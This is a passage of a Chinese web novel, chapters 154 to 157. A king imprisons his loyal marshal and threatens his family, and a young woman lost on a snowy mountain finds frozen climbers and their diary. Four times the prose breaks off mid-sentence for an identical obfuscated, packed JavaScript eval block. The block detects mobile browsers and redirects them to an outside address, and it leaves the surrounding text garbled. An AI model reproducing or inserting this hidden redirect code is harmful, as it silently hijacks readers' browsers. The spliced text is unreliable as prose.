闻人佐睁开眼,周围的视野有些昏暗,一只蜡烛挂在墙上,提供吝啬的光亮。片刻后,他意识到自己身处一间带着壁炉的居室,可那壁炉里的柴火没有点燃。 他不认识这里,感觉很陌生。 唯一熟悉的,是坐在一张包边鹿皮椅上的男人。那张椅子摆在离门不远的地方,金发的摄文王笔挺地坐在上面,侧头看着门外。 闻人佐驱动自己有些迟缓的脑袋,思考着。 他这是在哪? 摄文王为什么在这。 闻人佐坐起来,听见一阵铁链摩擦的响动。他往自己身上看去,只见两只厚重的铁镣束缚住了双手,将他拴在了角落的墙体上。 ……怎么回事? “我可能要在你这里待上一阵了。”突然,摄文王的声音响起。那金发的人转过头来,从容地盯着闻人佐,“外面发生了一些事情,太吵,我不想出去应付,于是就下来躲个清净。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552350|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 渐渐地,闻人佐回想起来昏迷之前发生了什么,他脸色逐渐僵硬,朝姜昆维问道:“陛下,殿下……姜雨在哪?” 姜昆维扬扬眉,有些意外地说:“你醒来第一句话不问自己的处境,反而关心起别人的安危了。” 闻人佐探出上身,铁链在身后碰撞作响,他追问道:“您把殿下怎么了?” 姜昆维有些不悦地皱眉,“这话说的……我还什么都没做呢。” “陛下——” “好了,闻人。”姜昆维打断他,他换了个姿势坐着,撑着手臂靠在鹿皮椅背上,“我知道你想问什么。你能当,嗯……你能假装什么也没看见吗?” 闻人佐疑惑:“……什么?” 姜昆维捏着自己一缕金发,用指甲盖将它翻来覆去地掐弯,他垂着眸子说:“那就是一起很稀疏平常的势力清剿。在我的预知之中,那些大臣元老都对摄文的未来不利,所以,我出于稳妥的考量,把他们一并提早解决了。” 听着姜昆维的阐述,闻人佐回忆了一番当时的景象。 自己得知了闵派在王庭内有动向的消息,闯进了宴会厅,那时,舞女与他一同入门,不久后,她们便和剑客一起对元老大臣展开了屠杀。这整个过程中,金卫无动于衷。 宴会上的人几乎都死绝之后,一个明显是闵派的剑客向姜昆维汇报,请示下一步的动作。那之后,却是金卫在摄文王的示意下包围了刺客们。 王后丝黛拉的情绪突然很激动,金卫将她压制了下去。在那之后,束廷将军来了,姜昆维突然性情大变一般,叫束廷救他。 这所有的这一切,真的像摄文王所说,全都是为了处理那些对将来有害的大臣们吗? 可是王从来没有做过这种事,哪怕有人当面顶撞他、公开与他不和,他也不会对那些持反对意见的人怎么样,更不要说以一场接风宴为借口,把一众大臣元老骗来,关起来残杀。 而且,到底为什么会有闵派的人混迹其中? 王会差遣他们,是因为什么? 难道……摄文王并不知道他们是制造了五年前惨剧的那只刺客流派吗? 很有可能是这样,王这些年已经放下了过去,比他这个大元帅更不关心刺客的行踪,或许他真的不知道自己雇佣了什么样的人。 想到这里,闻人佐认为很有必要将真相告诉对方,于是说道:“陛下,您任用的那些伪装成剑客舞女的部下,他们的背景并不干净……” “我知道。”姜昆维斩钉截铁地说,“他们是闵派的刺客。” 闻人佐的脑袋又转不动了,“……您知道?” 姜昆维:“我一开始就知道。” 闻人佐愣住了,困惑地看着姜昆维。 “这件事,你也能假装不知道吗?”对面的金发之人掷来一个询问,“反正他们也都死了。” ……他一开始就知道是什么意思? 知道那些人是闵派的刺客,还任用他们。 为什么?他们不是当年刺杀了先王的罪人吗?就连摄文王自己都险些死在那五年前的惨剧之中。 这样的弥天大恨,他为什么还…… 姜昆维催促道:“说话啊,闻人。” 闻人佐还未从困惑中回神,“……说什么?” 姜昆维向前倾身,靠近闻人佐的方向,手肘住在自己的膝盖上,“我在问你,把那些都当做没看见,能不能做到。” 当做没看见? 是指没看见摄文王和那些闵派的交流,还是对这整场欺瞒残忍的屠杀视而不见? 154. 乱4 他看着摄文王。 姜昆维也在看着他。 这场交流发生在一个无人之地,如果他答应,或许一个真相就将被彻底掩埋。 真相……应该被埋没吗? 历代的君王都有其不光明的手段,但对结果的评判,总是取决于它是否能为更多的人带来福祉。 摄文王说他预见了未来。 他也在做一件以少数人的牺牲换取大众利益的事吗? 如果这一切都是为了摄文……即便雇佣了不应雇佣的人,处事的手段又过于狠厉,可是如果都是为了摄文的稳定着想…… 一个“好”字就要脱口而出,可是,突然,闻人佐回想起来一个画面。 那是王后丝黛拉的面纱掉下来的那一刻,她金色的眼睛露了出来,一下子让闻人佐想起五年前的那一幕,一个看上去只有十四五岁的刺客蹲在窗台上,手里拽着奄奄一息的姜昆维,险些就要把他从窗户扔出去。 那个年幼的刺客成长到现在,也差不多是王后这么大了。 一种令他毛骨悚然的推测在心中出现。 摄文王是在四年前将丝黛拉带到摄文,如果王不是最近才任用了这些刺客,而是很久以前就已经和他们有过来往,那…… 闻人佐脸色惨白,阻止自己再想下去,向眼前的人道:“陛下,我看到了王后的眼睛。” “嗯?”姜昆维原还在等闻人佐的回复,听到对方突然这么说,表情有些困惑。 “她和当年差点杀死您的刺客,长得很像。” “……巧合吧。” 摄文王的眼尾下垂,目中无光。 闻人佐虽然总是不能推测出对方的心思,可他知道,这是他说谎的模样。 他盯着摄文王好一阵子,听到自己说:“我不能……装做什么都没看见。” 姜昆维听到这句话,闭上眼睛,像是认命了一般,深深地吸气,叹息。 “怎么办啊。”王又靠回了椅背上,翘起一条腿,双手交叉放在腿上,“我都给你在立国仪式上设计好了位置,椅子都是用稀有白鹿皮铺的。那些对你有意见的大臣都解决了,元老也都死了,束延将军早晚有一天也会让你去处理,顺便把那口恶气出了。但是,你非得跑出来打乱计划……要是你能装做什么都不知道就好了。” 闻人佐发愣地听着,这些他从来不知道,闻所未闻。 “可你就是这种性格,不知道变通。”姜昆维侧头看着门外,外界的烛光照在他脸上,映出一副迷茫的模样,“我不知道该拿你怎么办好了,闻人。” 这时候,一阵脚步声从外面传来,打断了屋内的谈话。 一个金卫来到居室外面,立定了,朝摄文王道:“束延将军离开了,但是他的护卫还没有撤下。” “行,我知道了。”姜昆维道。在金卫离开后,他又回过头来对闻人佐道,“你看啊,这个束延仗着救了我,已经威风到可以借保护的名义把我软禁在这里了。” “……” “他这样子,你真的不愿意帮我除掉他吗,闻人?” 闻人佐垂眸,深深低下头去,拒绝的态度显而易见。 “……好吧。”姜昆维说,他放下翘起的腿,从鹿皮椅上站起来,拍了两下手掌,像在给外面的人下什么指示,“不能一直关着你,那是折磨。放你出去,也不可能。” 闻人佐听到了一声哭啼,那声音就在隔壁。顿时,他汗毛竖立。 那是他女儿的哭声。 这到底是哪里?显然不是他的家,可为什么闻人芹会在这里?! 闻人佐不敢置信地盯着姜昆维,只有可能是对方做了这一切。 “正好,绝生幕预选赛结束了,不尽死斗马上就要开始,我正愁今年的选手都没什么看头。”姜昆维说,他站在门口,笑起来,脸上是一片暗色,“元帅,你就作为特邀选手,带着你的家人出战吧。” “!” 闻人佐只听脑袋里嗡的一声,“陛下!” 然而,门嘭一声关上,袭来的风吹灭了唯一的蜡烛。 他刚才说什么……? 要把他和他的家人送上角斗场? 不可能,他听错了,这不是真的…… 闻人佐还想问些什么,可无论发出怎样的声音,那扇关上的门都没有再开启。 漆黑之中,只剩他和逐渐升起的绝望为伴。 ## 雪山峰顶,弃置的木屋。 明黄的室内,古古拨开有些碍事的头发,往火堆里添了点木柴,又将手向前伸出去一些,以便进一步感受到它的温暖。 炉火对面,男人在喋喋不休。可她已经有些无法集中注意,不知道他具体在讲什么。 “我的确是个信差没错,但是,之所以能知道那么多事,还是因为拥有轮回之力!” 古古盯着摇曳的火苗,放空了自己大脑,“是这样吗,葛马?” 火光照亮男人的脸,弄得整张脸红扑扑的,他激动地回答她,“当然啦!从前没有和你们说,是怕你们不相信。这不,我们一同旅行了这么长时间,也算是彼此信任的好友了,所以我才对你说这些。” 古古接他的话,“是啊,我们已经一同旅行很久了。” 究竟有多久了呢。自从她瞒着燕无,找到葛马,说要和他一同寻找元城、探寻父母的身世开始,的确已经过去好些日子了。 具体是多少天,她已然记不清,一开始,她还会在本子上记日记,在那上面书写对燕无的思念,记录每一天发生的经过,但是,随着所处之地的升高,他们往越来越冷的地方攀爬,暖意彻底地远离他们,而古古也再没有从她厚实的手套中掏出手掌,在那冻得硬邦邦的笔记本上写下一行字。 葛马依然在兴致勃勃地进行着自己的话题,红发的男人一拍大腿,一团暖白的雾气从他的口中冒出来,“我好久没有和人聊过这些了,最好的朋友不在之后,我想找人聊聊天,都一直束手束脚的。小古,你想成为我的聆听者吗?” 古古看了红发的男人一眼,对方热切的视线透过火焰,轰轰烈烈地向她投来。她轻描淡写地移开视线,道:“好啊,我这不是正在听你说话吗?” “我不是说刚才我说的那些小事。”葛马摆了摆手,说,“我在说的是更远大的事情,你——” 突然,木门嘭的一声,被外界的寒风刮开,冷空气带着飞雪肆虐而至,将室内好不容易积攒起来的暖意席卷一空。 葛马咒骂了一声,古古没有听清他说的是什么,那听起来像是其他语言。但应该不是,早在大寒潮之后,这片土地之上便只剩下一种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552351|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语言了。 男人顶着鱼贯而入的寒风,坚强地走到了门口,顶着门的背后,对抗狂风的压力,将它缓缓压了回去,扣上门闩。他又拿来木板和钉子,往那弱不禁风的门框上加固了好几层。 完工后,他拍了拍全是灰尘的手,抹了把汗,长出一口气,这才回到炉火的旁边。 火已经熄了,古古正在想办法用燧石将它重燃。 这段日子,她跟着葛马学了不少野外求生的知识,那些知识很有意思,也很丰富,只是古古希望她这辈子再也用不上它们。 火苗烧了起来,古古小心翼翼地护着它,直到它开始在杂草和木炭中蔓延,重新燃起能够温暖这间木屋的火焰。 她手里拿着一根冻死的枝条,用它催促内里的火苗,“葛马,暴风雪什么时候会停?” 男人看着窗外,然而,那里只有一片白芒。外面的山峦和石头,都隐藏在了雪下,“我觉得快了。天已经亮起来了,云应该走远了。” 古古叹息了一声,继续操持她手中的活计。 她有些没有信心。他们已经在这雪山上流连很久了,葛马笃定元城就在这附近,可是,他们连一点人们活动的踪迹都没有发现。他们所在的这间木屋已经许多年没有人使用过,里面没有任何的活物,也没有一丁点物资,这里哪怕偶尔有人来,都不会一点生活的痕迹都没有。 连一个木屋都如此,那偌大的一座城市又怎么可能存在于这雪山之下呢? 如果真的有城市,恐怕也是一座死城,否则,这山上不可能丝毫没有人们通行的痕迹。 元城真的存在吗,父亲真的在元城吗?会不会他们搞错了一些什么。会不会,母亲信件上的元城,其实只是一个代称,实际上,世界上并不存在这么一个地方? 毕竟,他们一路走来,看到的,是一座座荒芜的雪山。雪山上,没有人的路,也没有马车的路,纯粹是一座座野山,连野兽都不兴光顾这种地方。 古古又叹息了一声,看向他们所剩无几的物资。他们顶多在这雪山上消磨四五天,就到了必须离开的时候了。这里没有丝毫的物资供给,他们必须留够足够的食物,起码得能坚持到山脚下的村落,找到留在那里的纳七和黑蹄——两头载他们来到雪山的驯鹿——然后再做打算。 似乎是因为听见了她的叹息,葛马的神色也露出一丝郁闷。但是,那种情绪没有在信差的眼中停留太久,他想到什么一般,从屋子角落拿来他随身背着的斜挎包,在里面翻找起来。 古古没有理会对面窸窸窣窣的声响,她沉浸于自己的心思里,没工夫看葛马在做些什么。 突然,有什么东西出现在她眼前,那是一个木制的画框。古古抬起头,看到葛马朝他递来了一个画框。那画框里没有画,只有一株绿色的植物,它被压扁了,失去了水分,但是似乎保留有生前的健壮模样。 “看。”葛马递过来,让她接着。 古古盯着那株植物,它的绿色非常地透亮,有四片叶子,根茎非常的细长。古古狐疑地抬头,向葛马问道,“这是什么?” 葛马用一条胳膊拄着自己的下巴,脸颊堆起一小块颊肉,“好看吧?这小东西叫玫瑰。” 那是古古没听过的名字,“那是什么?” 葛马回答她,“是一种花。” 155. 点灯人1 “花?”古古有些讶异,印象里,这种植物是始于寒潮之前的植物,而它们所有存在过的证明,已然被掩埋在层层寒冰之下。 她看着那似乎还活着的生物,它与她隔着一层透明的薄玻璃。她伸出手,隔着手上的厚绒手套抚摸它,沿着纹路划过它柔嫩的身躯。 葛马的目光近乎痴迷,他盯着那个被他称作玫瑰的绿色植物,“我只给几个人看过它,它十分珍贵,是我的宝贝,称之为传家宝也不为过。有时候,我感觉坚持不下去了,就会把它拿出来看看它。这个被框住的生命总是能给我充足的动力,让我又能捡起我自己,去做我应该去做的事了。” 古古有些诧异,她看着葛马,有些直白的道:“你也会有低迷的时候?” 葛马挑眉,慢悠悠抻了个懒腰,“当然了,我也是个人嘛。” “你是我见过最乐观的西索人。”古古顿了顿,“虽然,除了你之外,我也不认识其他的西索人。但我听说他们因为时常生活在高山上,资源匮乏,人们总是愁眉苦脸的。” “但是他们很坚强。”葛马说道,他伸手要回了那个画框,又盯着它看了几眼,将它收回了自己的挎包里。而后,向古古问询道,“怎么样,见了我的传家宝之后,感觉有没有好些?” 古古摩挲着自己有些冻僵的手臂,这种艰苦的条件下,她没有心情去维护对方的善意,“说实话,葛马,它只是一株平平无奇的绿色植物,并不能为我的精神状态带来什么改观。不过,谢谢你。” 葛马耸肩:“好吧,看来它的魅力只对我生效。” 男人又去自己的背包中翻找,他翻出来了一些探索时用到的小玩意、几颗糖果,还有一堆零散的书信。古古注意到男人总是带一些书信在身上,似乎从来不打算把它们寄出去一般。 他分给了她一颗糖果,说吃点甜的心情会好些。古古接受了,任那一丝甜意在自己的口腔中发酵。 他们都知道旅程很苦,但是谁也没说要撤退。 古古也不知道自己是怎么回事,一边为一无所获而忧虑,后悔自己当初的决定,一边又不希望这么草草了事。 起码,在物资耗尽之前,再试试看。古古如是想道。 就如葛马所说,暴风雪很快停了。它来的快,去得也快,席卷了这片山峰,又跑去另一边兴风作浪。不过,值得庆幸的是,它一时半会应该不会回来了。 古古与葛马两人走出了木屋,与之前相比,雪层厚了一些,太阳似乎更明亮了,温度没什么变化,还是十分冻人。 葛马拿出一张地图,那上面明确标着他们要去的地方,那是一个有些崎岖的山沟,它位于两座山峰的交汇处。 两人穿好了装备,在冰天雪地之中,给了对方一个眼神,那个意思是:走吧。 为了保持体力,他们很少说话,就连那个聒噪的葛马也知道这一点。毕竟,两个人的物资是共用的,他每说一句话,也就相当于消耗了原属于古古的那份食物。 两人踏上路程,脚印在他们的身后延长。 道路总是很漫长,眼前是大片的白色,古古低着头,放空了脑袋,让自己什么也别去想,越想,便越是打退堂鼓,而她不能这样。 一步又一步,洁白的地面在她眼前掠过,没有起伏,没有变化。 就这么过了一阵,突然,葛马的包裹出现在她的眼中。她抬起头来,发现原来是葛马停了下来。 男人解下了自己的背包,递给她,表情有些急匆匆的,视线飘忽不定,似乎在四下寻找些什么,“小古,你帮我拿着,我要去方便一下!” 古古感到一阵无奈,这个男人非挑这种时候?不是应该早就在木屋那时候就解决了吗。真不知道究竟是对方的野外生存常识多,还是自己这个几乎没出过远门的人多。 古古没有把心中的想法说出来,她接过葛马的行李,对他说道:“你的屁股会冻僵。” 这不是谎话,在气温极低的峰顶,没有一个正常人会想要用自己裸露的肌肤去接触空气。 “我忍不了了!”葛马着急地往一块山石后面跑去,边跑,他的手已经搭在的裤腰上,“总比尿在裤子里好!” 古古有些嫌弃地偏头,转移了视线,看起了周围的景象。 他们位处一座高峰的半山腰,这里没有山路,只有脚印留在山上的痕迹。他们已经来到了云层之上,往山底下看去,只有白茫茫的一团云雾。 看不到她出身的地方,看不到牧盟的法陆贡,也看不到那片大地。眼中的,只有横古山脉上的一连串峰顶、过于高远的天空,以及那遍布所有可见之地的白雪。 古古望着这一切,突然感受到了自身的渺小,在这茫茫天地间,那些没有生命的事物便赫然存在于那里。似乎,它们在以这种静默的差距告诉她,她的行为虚无缥缈、不值一提,无论什么,都是徒劳。 一种虚无窜上她的心尖,她不喜欢这种感觉。古古深深地吸了一口气,让冷空气进入她的肺,那寒冷的触觉提醒她,自己还顽强地存在于这个世界上,而没有被那些庞大的山川、白雪所同化。 葛马去的时间有点长了,古古心里想着,这人连行个方便也这么磨蹭。 她看向那块足够隐藏身形的石头,喊道:“你好了没有?” 石头后面没有人回答她,古古疑惑地皱眉。 此刻,山顶上没有刮风,而她确信自己的声音足够大,应该可以传到巨石的背面。可是,本该在那里的人却没有给她回应。 “葛马?”古古又喊了一声,加大了一些音量。然而,还是没有人回应她。 她犹豫了一阵子,捡起葛马的行李,向那块巨石的方向走去。但愿她别见到什么裸体的男人,但是她更希望葛马别出什么事。毕竟,他要是出了什么事,古古就必须一个人照顾他了,而在这个寒冷的山头,她连自己的生命安危都不敢保证,这时候他们之中要是有人倒下,那才是真的麻烦了。 可是,葛马为什么不回答她? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564639|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走过去的过程中,古古设想了许多可能性,会不会是他屁股被冻住了,模样太尴尬,不好意思说话? 不,她不觉得那个男人有这样的羞耻心,他知道山顶的寒冷不是闹着玩的,真要是出了什么难为情的意外,他也应该大声呼救才对。 古古临近了那块石头,她又喊了一声,“葛马?” 随着她的接近,石头后面的景象在眼前出现。她首先看到了一只脚,从它的模样来看,脚的主人应该是倒在了地上。 “你怎么了!?”古古快步走过去,雪地让她的行进变得缓慢,她已经尽了自己最快的速度。 那块石头后面,男人脸朝下趴在地上,雪没过了他的身躯,将他的腰部和大腿掩埋在白雪之下。男人一声不吭,就那么趴在那里。 古古蹲下去,试图晃动葛马的身体,然而,在碰到那身躯的时候,古古愣住了。 那不是活人的身躯,它僵直、没有一丝柔软的触感,古古只感觉自己像在触摸一块冰冷的石头。 “你别、你别吓我!”古古大惊失色,她不明白,为什么葛马会变成这样。他们只是分开了短暂的片刻,为什么男人会变成这幅冻僵了的模样? 她扑开他身上的雪,将他的身躯从白雪下挖出来,然而,当她想要把他翻过来的时候,却遭到了巨大的阻力。 古古往男人的身下看去,看到了一片黑红色的污浊,那似乎曾经是一摊粘液,而现在已经结成了冰,和他身下的雪凝结在一起。 一种不好的预感在古古的心中升起,即便她没怎么见过死人,但是,现在的情况,她也应该反应过来了。对方的身躯僵硬,加上那些疑似从他身体渗出来的深色液体,无论怎么想,这个人已经死去很久了。 古古向后倒去,一屁股坐在雪地上。她盯着男人的帽子,它扣在他的头顶,遮住了头发和脸。 在片刻的迟疑后,她鼓起勇气,揭开了男人的帽子。 一颗黑色的脑袋露了出来,暗色的发丝也已经结冰,在凛风的吹拂下,丝毫显露不出其朝气蓬勃时的模样。 古古猛然收回了手。这个人……不是葛马。冷静下来观察,他的衣服也和葛马不一样。他的装备更加的齐全,穿着带有许多战术口袋的上衣,手里握着一只登山镐,另一只手像是徒劳地想要抓住什么。 她向一旁看去,在巨石的底部,一个包裹被埋没在厚雪之下。古古将它翻了出来,在里面找到了一些空罐头、一条钩索、一封书信,和一面旗帜。那旗帜看着眼熟,她想了一阵子,突然意识到,它看上去很像血皑的旗帜,只是,要比那黑红的旗帜更加复杂一些,应该是进行过增添和修改,它大抵代表着所属于那个城市的某只部队。 不论这个人是谁,他一定一度穿戴精良的装备,却因为不知名的原因,死在了这座雪峰之上。 古古站起来,她环顾四周。附近一个人的影子也没有,葛马就像凭空蒸发了一般,哪里都看不到那个红发的身影。 156. 点灯人2 她感到一阵无助,什么头绪也没有。 “葛马——” 她在呼唤着,然而,回应她的只有偶尔刮起的山顶狂风。 她驱动自己的双腿,往另一座山头的方向走去,这里她没来过,她心想,葛马或许是先去探路了。 “葛马——!” 在空无一物的雪山上,她奋力地喊着,白雪吞噬她的声音,不给予一点回应。 她走出了一段距离,不敢再往前走了。前路看上去茫茫无边,她怕自己再也找不到回来的路。 于是,她又回到了那个石头旁边。等待她的,依然是那个黑发的死人。 古古在石头旁蹲下来,抱住自己的双腿。她开始害怕,孤身一人的恐惧包裹着她,让她再难有站起来的勇气。 葛马去哪了,他为什么要抛下她,难道他就这么不管她了? 为什么,他为什么就这么不管她了? 她一个人该怎么办,他们上山的痕迹已经被风雪埋没,她一个人要怎么下山? 接下来会发生什么,她会……她会死在这里吗?可是,如果在这里死去,甚至不会有人爬到这孤僻的、遥远的山脉上来,回收她冰冷的身体。就如同那石头旁的黑发男人一般,她会孤寂地与这寒冷的雪山作伴。 不,她不要那样。 凭什么要这么对她,这不公平,她没做过什么错事,为什么要这么对她? 她还有许多事情没做,只是为了寻找父亲的踪迹而来到这里,怎么可能会是死亡在等她。 她不住地颤抖着,为此担惊受怕,甚至,一种不受控制的委屈在胸口蔓延开来,一瞬间,她的鼻尖就酸了。 可是,很快,她强行压下了那种情绪。 凭什么,她想。 她抹了一把自己的脸,紧紧地抱住自己,不甘的话语一遍遍在脑海中回想。 凭什么她要死在这里,凭什么这么对她。 风刮在脸上好疼,被遗弃的感觉很差,可这些都不是她的错,凭什么她要品尝这些失败的滋味! 不知不觉,一股无名的怒火从她的腹部烧起,她不知道自己在对什么发怒,或许是将她遗弃的葛马,或许是这寒冷的天气,或许是一旁那死去的男人,她不知道,她只是愤怒。 而那愤怒让她站起身来,捡起自己的行李,把葛马的行李拆开,拿出食物和地图,又从死人的行囊里翻出来钩索,将它们一股脑塞进自己的背包里。 包裹突然变得厚重,古古背起它,拍了拍脸蛋,感觉自己的脸颊燥热,身体也在熊熊燃烧。 她看向那个黑发男人的身体,眼中是十足的不服,“我才不会变成像你一样。” 她提了提背上的行李,打开葛马的地图,打算先沿着来时的脚印回到那个木屋中去,然后再做打算。 一开始,她沿着脚印走,一切都很顺利。 然而,山顶时不时刮起的风会抹去一些痕迹。她走着走着,脚印慢慢地变浅,突然,在一处没有任何标志性的地方,它彻底消失了。 她打开地图,不知道自己在哪。向四周望去,见不到那个木屋的影子,满目之中尽是苍白。 一瞬间的迷茫淹没了她,但是,她很快挣脱了那种感觉,让愤怒继续灌溉她的脑海,“好,这么对我,是吧。等到我找到了出路,我会带着一车车的木材回来,将这山上的雪烧个精光!” 她继续走,全凭自己的直觉。 她专注地盯着前方,脚下一直是厚重的积雪,没什么路况要看。 便是因为这样,当障碍物出现的时候,她没有反应过来,猛然被绊了一个跟头。 古古从自己砸出的雪坑里站起来,回过头,发现那是一截埋在雪地之下的手臂。手臂的主人浑身僵硬,显然已经失去了生机。 古古心里有些犯怵,她心想这是什么鬼地方,为什么总是会遇见死人。明明和葛马登山的时候,他们没有遇到过任何的人影,死的活的都没有。 她身处一块巨大的岩石旁,旁边是两个没有动静的尸体,刚才绊倒她的是其中一个。他们生前的最后一刻可能是撞在了这礁石上,脖颈扭成惊悚的角度,四肢扭曲、僵硬。 古古蹲下去,看到他们穿着相仿的衣物,那似乎是某种制服,上面缝着和血皑旗帜很像的标志。 这些人应该和刚才那个死去的黑发男人是一伙的。她心想。至于他们为什么七零八落地散落在各地,便不得而知了。 古古翻出了他们的行李,总共有有三个包裹,她打开其中一个,期望能翻出一些帮到自己的东西。 那包裹里有一个绿皮册子,一些干瘪的肉质零食,一个冻成冰的水袋。古古将食物挪到自己的包裹里,而那个已经结冰的水袋没什么用,她要是想喝水的话,完全可以就地取材,这地方哪都是雪。 她原本想去翻找下一个包裹,可是,那本绿皮册子吸引了她的注意,只因为那封皮上的字迹过于工整,而且,它看上去像是一个日记本。自己曾经也是一个会写日记的人,她很想看看这些人在生前记录了一些什么,或许,里面能有帮她逃出困境的信息。 她打开它,用厚重的手套随意地翻了两下,在整齐的字迹中,有一页非常的潦草。那让她的指尖停留,展开了那一天的记录,上面用似乎有些愤怒的笔画,书写着这样的内容: “我真的一点也受不了那小子了,我不明白为什么队长要那么护着他! “这个姓夏的一点合作精神都没有,他把我们计划完全打乱了,明明两天的路程就能到山顶,他非说什么危险,让我们绕路。 “究竟他是队长,还是队长是队长? “制图员这次不在,这小子就按捺不住性子,非要出来表现一番。要是队伍出了什么意外,我非打掉他的门牙不可,这都是他乱指路的后果!” 潦草的字迹就此结束。翻到下一页,那些文字似乎冷静了下来,纸张有些浸湿了,字迹也变得绵软无力。 “天气越来越冷了,我们还想着登上山顶呢,现在看来,能从这雪山中出去就不错了…… “回家之后,我第一件事就是去洗个热水澡。对,热水澡。我太需要这个了,最近就没发生什么好事,我需要洗一洗,让自己焕然一新。” *一段空白* “阿杰和锄头弟死了。 “……队长似乎很自责。但那不是他的错,我们都知道。没有莉莉,他能带我们爬到这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564640|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,已经很厉害了。 “当初是我们全票通过,要来征服这座雪山的,不是吗?现在只是被它小小地征服了一下,不碍事的。 “我们还有这么多人呢,大家齐心协力,总能走出去的。" 古古看到了一个熟悉的名字,但是,这并不代表什么,世界上,叫这个名字的人很多。 她继续往后翻。 “又死人了。 “死了有几个?七个、还是八个?我有些记不清了。可惜大鼻头也死了,他没能从雪暴中跑出来。 “队长的精神状态不太好,他似乎已经连续一天没吃东西了,虽然他一直在安慰我们,但我能看出来,他只是在强撑着。是啊,我们有多久没有经历这么惨重的失败了?连我都觉得不可能,不像现实一般。 “阿杰的衣服披在他的身上,那是阿杰冻死之前给他的。唉,阿杰,你放心,队长会把你的东西带回去的,我们会照顾好你的家人,你就安心在这山顶上睡吧。 “也不知道我能不能活着出去,要是我没戏了,该把什么交给队长呢?让他带走我的手套,我的靴子,还是一缕头发? “……不,不对。洛笛,你在瞎想什么呢!你会活下去的。” *一页撕去的纸* “我真是受够了!这鬼天气到底什么时候是个头!? “我们只剩下十几个人了啊,然而还是被困在这该死的地方,哪里都是白雪、白雪,狗日的白雪! “还他娘的有雪地狼来袭击我们,这都是什么操蛋事啊!” *一段空白* “手有点抖,但愿将来的我或者什么人能看懂吧。不能怪我,右手已经彻底冻僵了,只能用左手写字。我怀疑右臂已经从肩膀上脱落了,不然为什么我感受不到它?但是,每次看过去的时候,右臂还在那里,它只是不听我的使唤,这感觉还挺奇怪的,仿佛它不是我身上的一部分似的。 “我们的情况有点惨。队伍里,只剩下我、小软糖、烦人精,和队长了。唔,不对,还有一头驯鹿在陪着我们。老伙计,就属你和那个烦人精最有毅力,在看到这么队员死去之后,还有精神头往前走。 “队长……队长已经很久没说话了。他是放弃了吗?我不知道。 “唔,就在我写这段话的时候,他突然开口了。他在对我们说对不起。 “啊,别这样,这会让我泄气的,就好像我们只能到这里了似的。 “…… “…… “我们其实已经没有希望了,是不是? “……天杀的,我没想过自己会死。 “我得留下点什么,什么都好。得让这个世界知道,我们来过!” 再翻过一张纸,古古看到了一页长长的名单。每个名字的最后,标注了他们最后死亡或者失踪的地点。 最后有一块氤湿的墨迹,仿佛她能看到,日记的主人是如何用额头抵着那支笔,佝偻着背,将笔尖插在日记本上,像在抵抗着死亡带来的不甘,强忍着眼眶中的泪水。 古古将日记本放了回去,塞在一个安全的地方,避免它被风刮跑。她看向另一侧的身躯,那是一具女性尸体,大抵就是男人日记中的小软糖。 157. 点灯人3 现在,她无法为他们做些什么,连自身也穹途末路,只能帮他们把存在过的证明放好。 她整理好情绪,从地上起身。她不想再去翻那些人的行李,看到了那些日记,她仿佛也认识了那些人,成为了他们的朋友,和他们一同挣扎过。他们的遗物,还是留给真正在寻找它们的人吧。 古古庆幸的是,自己没有遇上男人的日记中的灾难天气,也没有遇到那把这两个人甩在礁石上撞烂的恶劣气候。山顶上风平浪静,只有弥漫着死亡气息的寒冷。 她背着自己厚重的行囊,继续踏上既定的道路。 不知走了多远,不知道是不是在往下山的方向走,甚至也不知道自己是不是在原地踏步。不能思考这些,一旦思考这些,脑袋就会僵住,就再也走不下去了。 又走到一块模样像兔子的石头旁,古古靠在它旁边休息了一阵子,顺便打开地图,试图找出自己现在所在的地点。 突然,一阵响声传来,那听起来像是雪块挤压产生的声音,即是说,那是脚步声。 声音在近处传来,古古抬头看去,心中燃起了一丝希望。 